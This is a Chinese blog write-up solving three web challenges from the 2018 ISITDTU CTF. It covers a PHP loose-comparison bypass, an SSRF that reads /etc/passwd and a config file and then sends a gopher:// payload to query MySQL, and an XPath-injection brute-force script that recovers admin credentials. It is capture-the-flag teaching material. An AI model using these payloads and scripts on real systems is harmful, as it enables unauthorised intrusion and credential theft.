sky's blog

2018 ISITDTU CTF-Web

字数统计: 1,194阅读时长: 6 min
2018/07/30 Share
1
文章首发在 https://xz.aliyun.com/t/2500

IZ

题目链接:http://35.185.178.212/
题目直接给出了源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?php 
include "config.php";
$number1 = rand(1,100000000000000);
$number2 = rand(1,100000000000);
$number3 = rand(1,100000000);
$url = urldecode($_SERVER['REQUEST_URI']);
$url = parse_url($url, PHP_URL_QUERY);
if (preg_match("/_/i", $url))
{
die("...");
}
if (preg_match("/0/i", $url))
{
die("...");
}
if (preg_match("/\w+/i", $url))
{
die("...");
}
if(isset($_GET['_']) && !empty($_GET['_']))
{
$control = $_GET['_'];
if(!in_array($control, array(0,$number1)))
{
die("fail1");
}
if(!in_array($control, array(0,$number2)))
{
die("fail2");
}
if(!in_array($control, array(0,$number3)))
{
die("fail3");
}
echo $flag;
}
show_source(__FILE__);
?>

看到

1
2
$url = urldecode($_SERVER['REQUEST_URI']); 
$url = parse_url($url, PHP_URL_QUERY);

不难想到///的trick
同时,我知道in_array(),在没有设置松紧比较的时候,是默认存在弱比较的
于是随手构造弱比较,请求

1
http://35.185.178.212///?_=0a

即可得到flag

1
ISITDTU{php_bad_language}

Friss

题目链接:http://35.190.142.60/
打开题目是个curl的界面,本能的想到是SSRF的题目
右键打开源代码发现

1
<!-- index.php?debug=1-->

于是请求访问

1
http://35.190.142.60/?debug=1

得到页面源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php 
include_once "config.php";
if (isset($_POST['url'])&&!empty($_POST['url']))
{
$url = $_POST['url'];
$content_url = getUrlContent($url);
}
else
{
$content_url = "";
}
if(isset($_GET['debug']))
{
show_source(__FILE__);
}
?>
<?php
echo $content_url;
?>

那么第一件事肯定是选择读源码了,我们随手尝试

1
file:///etc/passwd

发现回显

于是发现必须得有localhost的host
于是改变请求方式为

1
file://loaclhost/etc/passwd


这次有了一些回显
再尝试

1
file://localhost/var/www/html/config.php

发现成功得到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php
$hosts = "localhost";
$dbusername = "ssrf_user";
$dbpasswd = "";
$dbname = "ssrf";
$dbport = 3306;

$conn = mysqli_connect($hosts,$dbusername,$dbpasswd,$dbname,$dbport);

function initdb($conn)
{
$dbinit = "create table if not exists flag(secret varchar(100));";
if(mysqli_query($conn,$dbinit)) return 1;
else return 0;
}

function safe($url)
{
$tmpurl = parse_url($url, PHP_URL_HOST);
if($tmpurl != "localhost" and $tmpurl != "127.0.0.1")
{
var_dump($tmpurl);
die("<h1>Only access to localhost</h1>");
}
return $url;
}

function getUrlContent($url){
$url = safe($url);
$url = escapeshellarg($url);
$pl = "curl ".$url;
echo $pl;
$content = shell_exec($pl);
return $content;
}
initdb($conn);
?>

不难看得出有Mysql的存在,加上简单的curl
我的本能反应是,存在gopher打mysql,因为这个思路我遇到过多次
所以我的第一反应是测试

1
gopher://localhost:3306


大概就是我这个思路了吧
于是使用payload生成脚本:
命令如下

1
python exploit.py -u ssrf_user -d 'ssrf' -P 'SELECT * FROM ssrf.flag' -v

payload

1
gopher://127.0.0.1:3306/A0%00%00%01O%B7%00%00%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00ssrf_user%00%00ssrf%00V%01%00%00%03select%20concat%28cast%280x504b03040a00000000000000000000000000e8030000e803000010000000746869735f69735f7468655f666c6167%20as%20binary%29%2C%20rpad%28%28SELECT%20%2A%20FROM%20ssrf.flag%29%2C%201000%2C%20%27-%27%29%2C%20cast%280x504b01021e030a00000000000000000000000000100000000000000000000000000000000000746869735f69735f7468655f666c6167504b0506000000000100010036000000640000000000%20as%20binary%29%29%00%00%00%00

发送请求后发现

很轻松获得flag

Access Box

题目链接:http://35.190.131.105/
打开题目只有登录页面

于是打开源代码得到

1
guest/guest

登入后发现

没有其他功能了
说明很简单的思路,以admin的身份登入即可
那么只有登录界面,很容易想到的就是sql注入
于是开始测试

可以看到,用户名和密码的错误是分开回显的,这就舒服的许多
简单测试后,发现的确存在注入

于是构造

1
2
guest'and 1 or'
guest'and 0 or'

发现成功返回不一致
构造bool注入,但发现怎么尝试都无果,非常郁闷
但是发现一个奇怪现象

有时候会出现???,这很迷
经过一番折腾好,于是思考到会不会是xpath注入

1
https://www.cnblogs.com/bmjoker/p/8861927.html

尝试提取父节点的名字:

1
'or substring(name(parent::*[position()=1]),1,1)='a

简单用burp爆破了一下

发现

1
'or substring(name(parent::*[position()=1]),1,1)='u

回显是???
那么我猜测,只要是匹配通过后,反馈就是???
于是我为了证明这不是巧合,继续探测

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import requests
import string
url = "http://35.190.131.105/"
payload = ''''or substring(name(parent::*[position()=1]),%s,1)='%s'''

res = ""
for i in range(1,1000):
for j in string.printable:
data = {
"username":payload%(i,j),
"password":"1"
}
r = requests.post(url=url,data=data)
if "Invalid" not in r.content[1470:1490]:
res+=j
print res
break


发现成功得到父节点名字:user
那么继续探测子节点

1
'or substring(//user[1]/*[2],1,1)='u' or 'a'='a

探测子节点的值:

1
'or substring(//user[1]/*[2]/text(),1,1)='a' or'a'='a

最后即可拿到

1
2
Adm1n
Ez_t0_gu3ss_PaSSw0rd

当然题目也是存在非预期的

1
http://35.190.131.105/accounts.xml

存在数据库信息泄露

直接登入后可得到flag

点击赞赏二维码,您的支持将鼓励我继续创作!
CATALOG
  1. 1. IZ
  2. 2. Friss
  3. 3. Access Box